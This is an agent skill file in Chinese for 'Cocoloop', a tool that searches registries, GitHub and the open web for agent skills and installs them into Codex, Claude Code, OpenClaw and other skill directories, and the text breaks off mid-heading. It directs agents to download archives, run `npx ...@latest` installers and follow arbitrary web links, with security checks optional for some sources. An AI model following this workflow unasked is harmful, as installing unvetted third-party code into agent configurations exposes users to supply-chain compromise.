--- name: cocoloop version: 0.5 description: 一个更快速、更安全的 Skill 管理器。CLI 只负责网络 API wrapper 和已知安装流程 wrapper；搜索判断、fallback 探索和复杂编排由 Agent 自己完成。 --- # Cocoloop Skill 管理器 Cocoloop 的目标很直接：先找到 skill 文件，再把它安装到当前 Agent 平台真正会读取的位置。搜索和安装是两段流程，来源可以变，落盘和校验流程保持一致。 ## 核心原则 1. 先识别当前 Agent 平台，再决定安装目录和安装方式。 2. 搜索优先级固定为 `CocoLoop API -> ClawHub -> skills.sh -> GitHub -> 自由探索`。 3. 只要拿到 skill 文件或 skill 目录，就统一进入“标准化 -> 安装 -> 校验”流程。 4. 尽量保留原始目录结构：`SKILL.md`、`scripts/`、`references/`、`assets/`、`agents/`。 5. 来源越陌生，越要主动提醒用户执行 CLS 安全检查。 6. 默认先把 skill 内容安装到 `~/.cocoloop/skills/`，再通过软链接发布到目标平台目录；只有当前平台确实不支持软链接时，才退回复制。 ## CLI 与 Agent 的分工先把边界守住，再开始安装。 ### CLI 只做两类事 1. 网络 API wrapper 2. 已知安装流程 wrapper 当前可以直接信任 CLI 的动作： - `cocoloop search --query ...` - `cocoloop featured` - `cocoloop featured --categories` - `cocoloop featured --category ...` - `cocoloop inspect ...` - `cocoloop paths` - `cocoloop healthcheck` - `cocoloop safescan ...` - `cocoloop install ...` - `cocoloop uninstall ...` - `cocoloop update ...` ### Agent 负责粘合下面这些都不要交给 CLI 自己做判断： 1. 搜索结果里哪一个才是用户真正想装的 skill 2. 官方没命中后要不要继续 fallback 3. 页面链接、GitHub 子目录、说明页、文章页该怎么继续追 source 4. 已知安装流程失败后怎么改走手工探索 5. 什么时候该让用户确认，什么时候可以直接继续 6. 当前环境不在已知平台名单里时，如何先确认正确安装方式和正确配置方法 ### 推荐执行顺序 1. 先用 `search` 一次性读取官方结果和本地已知 Agent 结果 2. 如果本地已知 Agent 已经存在候选，先询问用户是否要移植到当前环境 3. 如果返回 `review-required` 或 `no-results`，由 Agent 判断或询问用户 4. 当 Agent 已经拿到明确 source，再决定要不要调用 `install` 5. 如果 `install` 返回 `handoff-to-agent`，说明 CLI 不该继续猜，Agent 需要自己完成后续探索和安装 6. 安装完成后，提醒用户立即测试 skill 是否能被当前 Agent 正确发现和调用 ### 首次安装 Cocoloop 后的下一步引导如果刚刚安装完成的是 `cocoloop` 自己，而且用户看起来是第一次在当前 Agent 环境里安装或启用 Cocoloop，不要只停在“请测试是否可用”。这时追加一步轻量询问： - 先提醒用户做一次实际调用测试 - 再询问用户现在要不要看主站热门 skill 推荐推荐问法： `如果你愿意，我也可以现在顺手给你看一组主站热门 skill 推荐，帮你继续补齐常用能力。` 如果用户同意，再调用： - `bash scripts/cocoloop.sh featured` - 需要分类时，再调用 `bash scripts/cocoloop.sh featured --categories` 如果用户暂时不需要，不继续主动展开推荐列表。 ## 主站精选推荐路由当用户意图是看主站当前推荐技能，而不是按名字搜索时，优先走独立精选入口： - 用户想看“主站最新推荐 skill”“精选推荐”“首页推荐 skill”时，调用 `bash scripts/cocoloop.sh featured` - 用户想看“推荐分类”“精选分类”时，调用 `bash scripts/cocoloop.sh featured --categories` - 用户已经拿到分类名，还想继续看“这个分类下面有哪些精选 skill”时，调用 `bash scripts/cocoloop.sh featured --category "<分类>"` 这个入口只做官方接口 wrapper 和结果展示，不负责替用户做安装判断。需要继续查看详情、比较候选或安装时，再由 Agent 决定是否调用 `inspect`、`search` 或 `install` ## 平台检测与安装目的地先判断当前环境更接近哪个 Agent 生态，再选择项目级安装或用户级安装。 | 平台 | 项目级目录 | 用户级目录 | 兼容目录 | 配置示范 | | --- | --- | --- | --- | --- | | OpenCode | `.opencode/skills//` | `~/.config/opencode/skills//` | `.claude/skills//`、`.agents/skills//` 也可被 OpenCode 发现 | `opencode.json` / `~/.config/opencode/opencode.json` | | Codex | `.agents/skills//` | `$HOME/.agents/skills//` | `$HOME/.codex/skills//` | `~/.codex/config.toml` | | Claude Code | `.claude/skills//` | `~/.claude/skills//` | 无必需兼容目录 | `~/.claude/settings.json` / `.claude/settings.json` | | OpenClaw | `skills//` 或 `.agents/skills//` | `~/.agents/skills//` 或 `~/.openclaw/skills//` | `~/.openclaw/skills//` | `~/.openclaw/openclaw.json` | | Molili | 无独立项目级目录，直接使用用户级 active skills 目录 | macOS/Linux: `~/.molili/workspaces/default/active_skills//`；Windows: `\\.molili\\workspaces\\default\\active_skills\\\\` | 无额外兼容目录 | 以 `active_skills` 目录为准 | 安装选择规则： 1. 用户明确要求“当前仓库可用”或“团队共享”时，优先装到项目级目录。 2. 用户明确要求“全局可用”或“所有项目都能用”时，优先装到用户级目录。 3. 如果来源平台自带原生安装器，而且安装目标与当前 Agent 兼容，可以优先使用原生命令。 4. 如果原生安装器不兼容或无法确认落点，回退到手动落盘安装。统一实现规则： 1. 真实 skill 内容默认先写入 `~/.cocoloop/skills//` 2. 目标平台目录默认放软链接 3. 当前平台确实不支持软链接时，才直接复制到目标平台目录 Molili 例外说明： 1. Molili 当前按用户级目录安装 2. 安装动作就是把 skill 目录移动到 `active_skills` 目录 3. 这一步可以直接用 Bash 完成，不需要额外注册 ## 单个 Skill 安装流程用户输入通常分成四类： ### 1. 直接文件或 URL 输入示例： - `https://example.com/skill.zip` - `https://example.com/downloads/cocoloop.skill` - `/tmp/my-skill/` 处理步骤： 1. 用 `curl -L` 或等价方式下载文件，或直接读取本地目录。 2. 如果是压缩包，解压到临时目录。 3. 自动寻找包含 `SKILL.md` 的 skill 根目录。 4. 读取 frontmatter，确定 `name`、`description` 和可选 `version`。 5. 进入“统一安装步骤”。 ### 2. Skill 名称搜索输入示例： - `pdf` - `rsshub` - `github-trending` 处理步骤： 1. 先调用 CocoLoop search API 搜索。 2. 如果 CocoLoop 没找到，CLI 到这里先停住。 3. 接下来由 Agent 按 ClawHub、skills.sh、GitHub、公开网页的顺序继续找 source。 4. 一旦 Agent 拿到明确 skill 文件、压缩包或仓库目录，再进入“统一安装步骤”。 ### 3. GitHub 仓库链接或短链输入示例： - `owner/repo` - `https://github.com/owner/repo` - `https://github.com/owner/repo/tree/main/skills/foo` 处理步骤： 1. 获取仓库信息，确认是否存在 `SKILL.md`。 2. 如果仓库根目录就是 skill 根目录，可以交给 `install` 处理。 3. 如果需要继续判断子目录、分支或额外文件结构，交给 Agent 探索。 4. 当 source 已经清晰，再进入“统一安装步骤”。 ### 4. 平台页面或文章页输入示例： - `https://skills.sh/...` - `https://clawhub.ai/...` - 某篇博客、说明页、发布页处理步骤： 1. 先判断页面里是否直接给出安装命令、下载链接或仓库地址。 2. 页面解析、按钮跟踪、release 资产定位都由 Agent 完成。 3. CLI 不负责解析说明页或文章页。 4. Agent 拿到明确文件后，再进入“统一安装步骤”。 ## 未识别环境处理如果当前环境没有命中已知平台，不要先安装。正确做法： 1. 先根据当前 Agent 环境去探索正确的 skill 安装目录和发现机制 2. 再确认这个环境如何判断“skill 已被正确配置” 3. 只有弄清楚正确安装方式和正确配置方法后，再继续安装 4. 安装完成后，提醒用户立刻做一次实际调用测试 ## 搜索优先级 ### 第一优先级：CocoLoop API 名称搜索时先查 CocoLoop。优先使用命令行 HTTP 请求工具，例如： ```bash curl -L "https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads" ``` 预期目标： - 拿到官方候选列表 - 把搜索结果交给 Agent 判断 - 如果返回多个候选，让 Agent 或用户先确认，再继续 ### 第二优先级：ClawHub、skills.sh、GitHub 如果 CocoLoop 搜不到，按下面顺序继续： 1. ClawHub 2. skills.sh 3. GitHub 这里的继续探索由 Agent 执行，不由 CLI 直接编排。每个来源都遵守同一个原则： - 能直接拿到 skill 文件，就下载文件 - 能直接拿到仓库，就下载仓库 - 能直接调用平台原生安装器，并且安装结果与当前 Agent 平台兼容，就优先用原生命令 - 如果原生命令不可用，退回手动落盘安装 ### 第三优先级：自由探索如果前面都失败，就继续探索公开网页、发布页、文档站和搜索结果。自由探索的目标不是“找到一个网页”，而是“拿到一个可安装的 skill 目录或压缩包”。这一步由 Agent 完成。只要拿到文件，就回到统一安装流程。 ## 统一安装步骤所有来源最终都要走下面这套流程： 1. 在临时目录中整理出 skill 根目录。 2. 确认根目录包含 `SKILL.md`。 3. 保留并复制同级资源目录：`scripts/`、`references/`、`assets/`、`agents/`。 4. 按当前平台选择目标目录。 5. 如果目标目录已存在： - 安装请求：覆盖前提醒用户 - 更新请求：视为就地更新 6. 复制 skill 目录到目标路径。 7. 进行一次安装后校验： - 目标目录存在 - `SKILL.md` 可读 - 关键资源目录没有丢失 8. 需要时提醒用户重启或刷新当前 Agent。 ## 平台安装示范 ### Codex 推荐落点： - 仓库共享：`.agents/skills//` - 用户全局：`$HOME/.agents/skills//` - 兼容社区安装器：`$HOME/.codex/skills//` 禁用某个 skill 的配置示范： ```toml [[skills.config]] path = "/Users/you/.agents/skills/cocoloop/SKILL.md" enabled = false ``` 说明： - 官方文档当前主推 `.agents/skills`。 - 如果来源是 `skills.sh` 一类社区安装器，可能仍会把全局 skill 放到 `~/.codex/skills/`。 - 当两套目录同时存在时，应优先告诉用户真实写入位置。 ### Claude Code 推荐落点： - 仓库共享：`.claude/skills//` - 用户全局：`~/.claude/skills//` 配置说明： - Claude Code 的 skill 发现主要依赖目录本身，不需要额外登记一个 skill 清单。 - 如果用户还要同步团队级设置，再写 `.claude/settings.json`。 - 如果只想本地生效，使用 `~/.claude/skills/` 或 `.claude/settings.local.json` 相关配置。 ### OpenClaw 推荐落点： - 仓库共享：`skills//` 或 `.agents/skills//` - 用户全局：`~/.agents/skills//` 或 `~/.openclaw/skills//` 常见配置示范： ```json { "skills": { "load": { "extraDirs": [ "/Users/you/.agents/skills", "/Users/you/.openclaw/skills" ] } } } ``` 说明： - OpenClaw 环境常见多目录并存。 - 如果项目里已经有 `skills/` 或 `.agents/skills/`，优先复用现有结构。 - 如果用户想把多个个人 skill 统一托管，优先使用用户级目录，再通过配置补充额外扫描路径。 ## 平台原生安装器示范这些命令只能作为优先尝试项，执行前仍要判断它们是否真的适合当前 Agent 平台。 ### ClawHub 如果当前环境已经依赖 ClawHub 工作流，可以优先尝试： ```bash npx clawhub@latest install ``` 如果命令成功，但无法确认安装到了哪里，要继续检查真实落点，再向用户汇报。 ### skills.sh 如果 skills.sh 页面已经给出明确仓库和 skill 名称，可以优先尝试： ```bash npx skills add https://github.com/owner/repo --skill ``` 如果 skills.sh 把 skill 安装到了社区兼容目录，也要在结果里明确写出真实路径。 ## 批量安装批量安装时，把每个 skill 当成独立任务执行： 1. 逐个搜索 2. 逐个获取文件 3. 逐个安装 4. 汇总结果一个 skill 失败，不影响其他 skill 继续安装。 ## 更新与卸载 ### 更新 1. 先找到当前 skill 的真实安装目录。 2. 再走一次同名 skill 搜索与获取文件流程。 3. 用统一安装步骤覆盖已有目录。 4. 保留旧目录备份是加分项，不是必须项。 ### 卸载详见 [references/uninstall-guide.md](references/uninstall-guide.md)。关键点： 1. 先在当前平台的全部候选目录中定位 skill。 2. 删除真正安装的那一份。 3. 如果有额外配置引用了该路径，也要提醒用户同步清理。 ## 安全检查详见 [references/safety-check-guide.md](references/safety-check-guide.md) 和 [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)。安装类任务里建议这样做： 1. T1/T2 来源：默认提示可选检查 2. T3 或自由探索来源：默认建议先检查再安装 3. 如果发现动态代码加载、多层网络执行或高危命令，优先阻断并说明原因 ## 资源引用 - [安装流程详细指南](references/install-guide.md) - [搜索流程详细指南](references/search-guide.md) - [卸载流程详细指南](references/uninstall-guide.md) - [安全检查流程指南](references/safety-check-guide.md) - [Cocoloop Safe Check 安全检查标准](references/cocoloop-safe-check.md) FILE:references/install-guide.md # Skill 安装流程详细指南这份文档描述 Cocoloop 在“拿到文件之前”和“拿到文件之后”分别怎么做。当前版本里，CLI 只负责已知安装流程 wrapper；搜索判断、fallback 和开放式探索由 Agent 负责。当前默认安装策略： 1. 真实 skill 内容先写入 `~/.cocoloop/skills//` 2. 再把目标平台目录发布成软链接 3. 只有当前平台确实不支持软链接时，才退回复制 4. 如果来源里存在多个 skill，先返回候选列表；只有用户或 Agent 明确指定后才继续安装 ## 总流程 ```text 开始 ↓ 识别输入类型 ├── 直接文件 / URL ├── skill 名称 ├── GitHub 链接 / 短链 └── 平台页面 / 文章页 ↓ 检测当前 Agent 平台 ↓ 按已知流程下载文件，或交给 Agent 继续探索 ↓ 整理出包含 SKILL.md 的 skill 根目录 ↓ 按平台选择目标目录 ↓ 复制目录并校验 ↓ 完成 ``` ## 第一步：检测当前平台安装前先判断当前任务更接近哪个 Agent 生态。判断顺序： 1. 先看当前工作区里的平台信号 2. 再看项目配置文件 3. 最后才看 `HOME` 下的兼容目录这样可以避免同一个 `HOME` 里存在多个 Agent 目录时互相串扰。 ### Codex 优先信号： - 仓库里已有 `.agents/skills/` - 当前文档和配置明显使用 `AGENTS.md`、`agents/openai.yaml` - 如果工作区没有更强信号，再看 `~/.agents/skills/`、`~/.codex/skills/`、`~/.codex/config.toml` 推荐安装目录： - 项目级：`.agents/skills//` - 用户级：`~/.agents/skills//` - 兼容目录：`~/.codex/skills//` 配置示范： ```toml [[skills.config]] path = "/Users/you/.agents/skills/cocoloop/SKILL.md" enabled = false ``` ### Claude Code 优先信号： - 仓库里已有 `.claude/skills/` - 当前工程使用 `CLAUDE.md` 或 `.claude/settings.json` - 如果工作区没有更强信号，再看 `~/.claude/skills/` 或 `~/.claude/settings.json` 推荐安装目录： - 项目级：`.claude/skills//` - 用户级：`~/.claude/skills//` 说明： - Claude Code 的 skill 发现主要依赖目录，不需要额外维护 skill 注册表。 - 如果团队还要共享额外行为，再配合 `.claude/settings.json`。 ### OpenClaw 优先信号： - 仓库里已有 `skills/` 或 `.agents/skills/` - 当前工程使用 `.openclaw/openclaw.json` - 如果工作区没有更强信号，再看 `~/.openclaw/skills/`、`~/.agents/skills/`、`~/.openclaw/openclaw.json` 推荐安装目录： - 项目级：`skills//` 或 `.agents/skills//` - 用户级：`~/.agents/skills//` 或 `~/.openclaw/skills//` 配置示范： ```json { "skills": { "load": { "extraDirs": [ "/Users/you/.agents/skills", "/Users/you/.openclaw/skills" ] } } } ``` ### Molili 优先信号： - 工作目录存在 `.molili/workspaces/default/active_skills/` - 如果工作区没有更强信号，再看 `~/.molili/workspaces/default/active_skills/` 推荐安装目录： - 用户级：macOS / Linux 使用 `~/.molili/workspaces/default/active_skills//` - Windows 使用 `\\.molili\\workspaces\\default\\active_skills\\\\` 说明： - Molili 当前没有单独的项目级 skill 目录。 - 已知安装动作就是把 skill 目录移动到 `active_skills`。 - 这一步可以直接用 Bash 完成。 ### OpenCode 优先信号： - 仓库里已有 `.opencode/skills/` - 项目根存在 `opencode.json` 或 `opencode.jsonc` - 环境变量存在 `OPENCODE_CONFIG_DIR` 或 `OPENCODE_CONFIG` - 用户目录存在 `~/.config/opencode/skills/` 推荐安装目录： - 项目级：`.opencode/skills//` - 用户级：`~/.config/opencode/skills//` 说明： - OpenCode 也会兼容发现 `.claude/skills/` 和 `.agents/skills/` - 但当前 Cocoloop 在 OpenCode 环境下优先写 OpenCode 自己的目录 ### 目录选择规则 1. 用户说“给当前项目装”时，写项目级目录。 2. 用户说“以后所有项目都能用”时，写用户级目录。 3. 如果仓库已经有既定结构，优先沿用现有目录风格。 4. 如果来源平台自带安装器，先判断它能否装到当前 Agent 真的会读取的位置。 5. 如果来源里存在多个 skill，先列出候选，不自动替用户选。补充说明： 1. 如果当前平台不在已知支持列表，CLI 不继续猜，直接 `handoff-to-agent` 2. 如果来源不属于已知安装流，CLI 也不继续猜，直接 `handoff-to-agent` 3. Agent 接管后，要先确认这个环境的正确安装目录和正确验证方式，再继续安装 ## 第二步：按来源拿到文件 ### A. 直接 URL 或本地文件处理顺序： 1. 用 `curl -L` 下载，或读取本地路径 2. 识别文件类型 3. 如果是 zip / tar.gz，解压到临时目录 4. 查找包含 `SKILL.md` 的根目录建议命令： ```bash curl -L -o /tmp/cocoloop-skill.zip "https://example.com/skill.zip" ``` ### B. Skill 名称处理顺序固定： 1. 先用 CocoLoop API 搜 2. 如果官方是模糊命中或返回多个候选，CLI 在这里返回 `review-required` 3. 只有用户或 Agent 明确指定目标 skill，才继续安装 4. 如果官方没有明确命中，CLI 在这里停住 5. 后续由 Agent 继续 ClawHub、skills.sh、GitHub 和公开网页探索 #### 1. CocoLoop API 示例： ```bash curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads" ``` 预期结果： - skill 文件下载地址 - 仓库地址 - 版本、作者、描述等元数据如果有多个结果，先展示候选，再由 Agent 判断或让用户确认。当前可以用精确 skill 名重试安装。 #### 2. ClawHub 这里开始已经不是 CLI 自动编排范围，而是 Agent 探索范围。优先尝试： ```bash npx clawhub@latest install ``` 如果命令成功： 1. 确认它把 skill 装到了哪里 2. 判断该目录是否被当前 Agent 平台读取 3. 如果目录兼容，直接汇报结果 4. 如果目录不兼容，重新提取文件并手动安装到正确位置 #### 3. skills.sh 优先尝试： ```bash npx skills add https://github.com/owner/repo --skill ``` 处理原则： - 如果 skills.sh 已经给出仓库地址或下载地址，优先拿文件 - 如果它直接完成安装，继续核对真实写入目录 - 如果它只兼容某个社区目录，也要向用户说明兼容路径和真实落点 #### 4. GitHub 搜索方向： - 仓库名包含查询词 - 仓库中存在 `SKILL.md` - 优先组织账号、近期更新、stars 更高的结果下载方式： 1. 仓库根目录就是 skill 根目录时，可以直接交给 `install` 2. 如果仓库里有多个 skill，CLI 会先返回 `review-required` 和候选列表 3. 只有用户或 Agent 明确指定 `--skills` 或 `--all`，才继续安装 4. 如果需要继续判断子目录、分支或额外结构，由 Agent 继续探索 5. 当 source 已经明确，再进入统一安装流程 #### 5. 自由探索当上面都失败时： 1. 搜索公开网页、发布页、文档站 2. 沿着下载按钮、release 资产、源码链接继续追 3. 只要拿到 zip、仓库或 skill 目录，就回到统一安装流程这里的页面解析、链接追踪和结果判断都由 Agent 完成，不由 CLI 自动完成。 ## 第三步：标准化 skill 目录无论文件从哪里来，都整理成一个统一的 skill 根目录。如果来源中发现多个 `SKILL.md`： 1. 默认不自动挑一个 2. 先返回候选 skill 名和路径 3. 用户或 Agent 可重试： - `cocoloop install SOURCE --skills skill-a,skill-b` - `cocoloop install SOURCE --all` ### 根目录必须满足 ```text skill-name/ ├── SKILL.md ├── scripts/ 可选 ├── references/ 可选 ├── assets/ 可选 └── agents/ 可选 ``` ### 标准化步骤 1. 找到第一个包含 `SKILL.md` 的目录 2. 读取 frontmatter 3. 优先使用 frontmatter 里的 `name` 4. 如果缺少 `name`，退回目录名 5. 清理无关构建产物，但不要误删脚本和资源 ## 第四步：写入目标目录 ### 手动落盘安装推荐做法： 1. 先写临时目录 2. 再把 skill 内容落到 `~/.cocoloop/skills//` 3. 默认把目标平台目录发布成软链接 4. 平台不支持软链接时，再复制到目标目录 5. 覆盖前提醒用户目标路径示例： ```text .agents/skills/cocoloop/ .claude/skills/cocoloop/ ~/.openclaw/skills/cocoloop/ ~/.molili/workspaces/default/active_skills/cocoloop/ ~/.config/opencode/skills/cocoloop/ ``` ### 保留目录结构复制时不要只拿 `SKILL.md`。如果来源里还有下面这些目录，也要一起保留： - `scripts/` - `references/` - `assets/` - `agents/` ### 覆盖与更新如果目标目录已存在： 1. 安装请求：先确认是否覆盖 2. 更新请求：默认按覆盖处理 3. 如有需要，先创建备份目录 ## 第五步：安装后校验安装结束后至少检查三件事： 1. 目标目录存在 2. `SKILL.md` 可读 3. 关键资源目录没有丢失按平台补充提示： - Codex：如技能没有立刻出现，提醒用户刷新或重启 Codex - Claude Code：如技能没有出现，提醒用户确认目录范围是项目级还是用户级 - OpenClaw：如技能没有出现，提醒用户检查 `openclaw.json` 的额外扫描目录 - Molili：如技能没有出现，提醒用户检查 `active_skills` 目录是否为当前 workspace 正在读取的目录 - OpenCode：如技能没有出现，提醒用户运行 `opencode debug skill` 检查是否被发现安装完成后，要提醒用户立刻做一次真实调用测试，而不是只看目录存在。 ## 异常处理 | 场景 | 处理方式 | | --- | --- | | URL 失效 | 提示用户检查链接，或继续尝试其他来源 | | 压缩包里找不到 `SKILL.md` | 视为无效安装包，继续 fallback | | 原生安装器成功但路径不兼容 | 补做一次手动安装到正确目录 | | 目标目录无写权限 | 改用用户级目录，或提示用户切换安装范围 | | 同名 skill 已存在 | 显示现有路径，询问覆盖还是改名 | | 环境不是已知平台 | CLI 直接 `handoff-to-agent` | | 来源不属于已知安装流 | CLI 直接 `handoff-to-agent` | ## 推荐汇报格式安装完成后，建议输出这些信息： ```text 安装成功 Skill: cocoloop 来源: CocoLoop / ClawHub / skills.sh / GitHub / 自由探索平台: Codex / Claude Code / OpenClaw 真实安装路径: /absolute/path/to/skill 兼容说明: 是否同时写入兼容目录，是否需要刷新客户端 ``` FILE:references/search-guide.md # Skill 搜索流程详细指南这份文档只关心一件事：怎样更稳定地拿到一个可安装的 skill 文件。当前版本里，CLI 会并行执行官方搜索和本地已知 Agent 目录搜索；后续多源探索和候选判断由 Agent 负责。 ## 搜索优先级 1. CocoLoop API 2. ClawHub 3. skills.sh 4. GitHub 5. 自由探索同一轮搜索里，CLI 会把官方结果和本地已知 Agent 结果一起汇总。如果返回的是候选集合，CLI 负责展示，Agent 或用户负责决定下一步。如果本地已知 Agent 里已经有同名或相近 Skill，CLI 会提示用户是否移植。 ## 搜索输入标准化开始搜索前，先把输入归类： - 纯名称：`rsshub` - 带空格的自然语言：`github trending` - GitHub 短链：`owner/repo` - URL：`https://...` 标准化规则： 1. 去掉两端空格 2. 保留原始大小写用于展示，搜索时可补一份小写关键词 3. 如果像 `owner/repo`，优先按 GitHub 入口处理 4. 如果已经是 URL，优先交给安装流或 Agent 页面探索，不再做名称搜索 5. 如果最终得到多个候选，默认不自动替用户挑选 ## 第一层：CocoLoop API ### 目标优先从 CocoLoop 拿到： - skill 文件 URL - 仓库 URL - 版本、作者、描述、评分、下载量 ### 示例请求 ```bash curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads" ``` ### 建议响应归一化 ```json { "name": "skill-name", "description": "Skill description", "version": "1.0.0", "author": "author-name", "download_url": "https://...", "repo_url": "https://github.com/owner/repo", "source": "cocoloop" } ``` ### 命中后怎么做 1. CLI 输出官方结果 2. 如果官方或本地任一侧有结果，返回 `STATUS: review-required` 3. 如果两侧都没有结果，返回 `STATUS: no-results` 4. 如果是模糊搜索，Agent 或用户需要从候选里选出目标 5. 如果本地已知 Agent 里已有候选，先确认是否移植 6. 两种情况都默认交给 Agent 判断，或让用户确认下一步 ## 并行的本地已知 Agent 搜索 ### 目标在官方搜索的同时，扫描本机已知 Agent 的 Skill 目录，看看是否已经存在可移植的 Skill。 ### 扫描范围 - `.opencode/skills` - `~/.config/opencode/skills` - `.agents/skills` - `~/.agents/skills` - `.claude/skills` - `~/.claude/skills` - `skills` - `~/.openclaw/skills` - `~/.molili/workspaces/default/active_skills` ### 命中后怎么做 1. CLI 输出本地候选 2. CLI 标记 `LOCAL_MIGRATION_AVAILABLE: yes` 3. Agent 或用户确认是否把本地 Skill 移植到当前环境 4. 没有确认前，不直接执行移植 ## 第二层：ClawHub ### 目标优先利用 ClawHub 的已有分发能力，但不要把“命令执行成功”当成搜索结束。只有确认真实安装结果或拿到文件，才算完成。这一层开始已经属于 Agent 探索范围，不是 `cocoloop search` 的职责。 ### 可选原生命令 ```bash npx clawhub@latest install ``` ### 处理原则 1. 原生命令成功后，继续检查写入目录 2. 如果写入目录兼容当前 Agent 平台，直接记录结果 3. 如果不兼容，继续定位它下载的实际文件，再做手动安装 4. 如果原生命令失败，再进入下一层 ## 第三层：skills.sh ### 目标把 skills.sh 当作“线索源”和“兼容安装器”两种能力来用： - 找仓库 - 找 skill 名称 - 找下载或安装命令 ### 常见命令示范 ```bash npx skills add https://github.com/owner/repo --skill ``` ### 处理原则 1. 如果 skills.sh 页面给出仓库地址，优先拿仓库 2. 如果直接完成安装，继续核对真实安装路径 3. 如果它写入的是社区兼容目录，例如 `~/.codex/skills/`，要明确告诉用户 ## 第四层：GitHub ### 搜索目标优先寻找满足下面条件的仓库： 1. 包含 `SKILL.md` 2. 仓库名或描述和查询词相关 3. 最近仍有更新 4. 组织账号优先 ### 搜索思路 ```text {query} SKILL.md {query} "agents/openai.yaml" {query} "skills" ``` ### 下载策略 1. 仓库根目录就是 skill 根目录时，可以作为已知 source 交给 `install` 2. 仓库里有多个 skill 时，当前 `install` 会返回 `review-required` 3. 只有用户或 Agent 明确指定 `--skills` 或 `--all`，才继续安装 4. 下载后一定要确认根目录里有 `SKILL.md` ## 第五层：自由探索当前四层都失败时，再进入自由探索。 ### 可探索目标 - 官方文档站 - 博客文章 - 发布页 - release 资产 - 搜索引擎结果页 ### 判定标准只有拿到这些东西之一，才算探索成功： - skill 目录 - 压缩包 - 仓库地址 - 可以验证真实落点的原生安装结果这一层完全由 Agent 负责，CLI 不自动解析文章页、说明页或下载按钮。 ## 结果去重与排序来自不同来源的候选结果，按下面顺序排序： 1. CocoLoop 命中 2. 官方或组织账号来源 3. 近期更新 4. 下载量 / stars 更高 5. 描述更贴近查询词去重规则： 1. 同一个 GitHub 仓库只保留一条主结果 2. CocoLoop 和 GitHub 指向同一仓库时，保留 CocoLoop 结果作为主入口 3. skills.sh 和 ClawHub 如果都只是转向同一仓库，保留更直接的文件来源 ## 搜到之后的统一出口无论搜索命中哪一层，最终都要把结果转成下面三种之一： 1. skill 目录 2. 压缩包 3. 已验证路径的原生安装结果前两种进入手动安装流程，第三种进入安装后校验。当前推荐执行顺序： 1. 先调用 `cocoloop search --query ...` 2. 一次性读取官方结果、本地已知 Agent 结果和状态字段 3. 如果本地已知 Agent 已有候选，先确认是否移植 4. 如果是官方候选集合，由 Agent 或用户先明确要装哪一个或哪几个 5. 由 Agent 选择是否继续 `inspect` 6. 由 Agent 决定是否继续 ClawHub、skills.sh、GitHub 或自由探索 7. 当 source 已明确，再调用 `install` ## 本地缓存如果需要缓存搜索结果，建议写到： ```text ~/.cocoloop/cache/search.json ``` 缓存建议字段： ```json { "query": "rsshub", "source": "cocoloop", "timestamp": "2026-04-02T10:00:00Z", "results": [] } ``` 缓存只用来提速，不替代实时搜索。用户明确要求最新结果时，应绕过缓存。 ## 错误处理 | 场景 | 处理方式 | | --- | --- | | CocoLoop API 超时 | 交给 Agent 继续下一层 | | ClawHub 命令失败 | 继续尝试 skills.sh | | skills.sh 页面只给演示信息 | 继续提取仓库或下载链接 | | GitHub API 限流 | 降级到页面解析或其他来源 | | 所有来源都失败 | 明确告诉用户未找到可安装文件，而不是只说“搜索失败” | FILE:references/operations-manual.md # Cocoloop 运维手册这份手册只服务仓库维护者和后续接手的 Agent，默认留在本地，不进入提交。 ## 1. 维护目标日常维护主要看这几件事： - 线上 API 是否可用 - 本地 `cocoloop` skill 是否是最新版 - 已知平台安装链路是否还正确 - 发布前回归是否通过 - 出问题时能不能快速回滚 ## 2. 仓库现状约束当前仓库的维护边界： - CLI 只负责网络 API wrapper 和已知安装流程 wrapper - 搜索判断、fallback 探索、候选选择和未知环境安装由 Agent 负责 - 测试文件只留本地，不进入提交 - 未实装能力只留在 PRD，不提前写占位代码 ## 3. 日常巡检 ### 3.1 看工作区状态先确认本地有没有未提交改动： ```bash git status --short --branch ``` 如果工作区不干净，先区分： - 用户自己的文档改动 - 当前维护任务改动 - 不该一起发的临时文件 ### 3.2 看当前 CLI 是否还能跑 ```bash bash -n scripts/cocoloop.sh scripts/lib/*.sh ``` 如果这里失败，先修语法问题，再做其他动作。 ## 4. 线上 API 检查当前 base URL： ```text https://api.cocoloop.cn/api/v1 ``` 先检查基础健康： ```bash bash scripts/cocoloop.sh healthcheck ``` 再检查一个真实搜索： ```bash bash scripts/cocoloop.sh search --query chrome ``` 建议重点关注： - `health/ping` - `health/` - `store/skills` - `store/skills/{id}` - `safescan/agent-skill-paths` - `safescan/client/check-upgrade` 如果搜索或详情异常，先分清是： - 网络层故障 - API 路由故障 - 上游数据异常 - CLI 展示归一化异常 ## 5. 更新本地 cocoloop skill 当仓库代码已经更新，需要让本机 Agent 读到最新版 skill 时，执行： ```bash bash scripts/cocoloop.sh install . --scope user --force ``` 预期结果： - `STORE_PATH` 指向 `~/.cocoloop/skills/cocoloop` - `TARGET_PATH` 指向当前 Agent 的用户级技能目录 - `INSTALL_STRATEGY` 优先是 `symlink` 更新后要立刻做一次实际调用测试，确认当前 Agent 已经能读到新版 skill。 ## 6. 已知平台安装链路检查当前已知平台： - `codex` - `claude-code` - `openclaw` - `opencode` - `molili` 先看本机识别到的当前平台和路径： ```bash bash scripts/cocoloop.sh paths ``` 如果要单独检查某个平台： ```bash bash scripts/cocoloop.sh paths --agent opencode --os macos ``` 重点确认： - 平台识别是不是对的 - 项目级目录是不是对的 - 用户级目录是不是对的 - 远端路径信息是否和本地实现冲突 Molili 当前以本地确认规则为准： - macOS/Linux: `~/.molili/workspaces/default/active_skills` - Windows: `\.molili\workspaces\default\active_skills` ## 7. 发布前最小回归每次发布前至少跑这组： ```bash bash -n scripts/cocoloop.sh scripts/lib/*.sh bash scripts/cocoloop.sh search --query chrome bash scripts/cocoloop.sh search --query gstack bash scripts/cocoloop.sh inspect using-superpowers ``` 如果当前机器环境允许，再补： ```bash bash scripts/cocoloop.sh install . --scope user --force bash scripts/cocoloop.sh paths ``` 发布前重点看： - `search` 是否同时汇总官方和本地已知 Agent 结果 - 本地已知 Agent 命中时，是否提示可移植 - 空结果是否返回 `STATUS: no-results` - `inspect` 未命中时是否稳定返回 `not-found` - `install` 是否仍然遵守 `review-required` 和 `handoff-to-agent` ## 8. 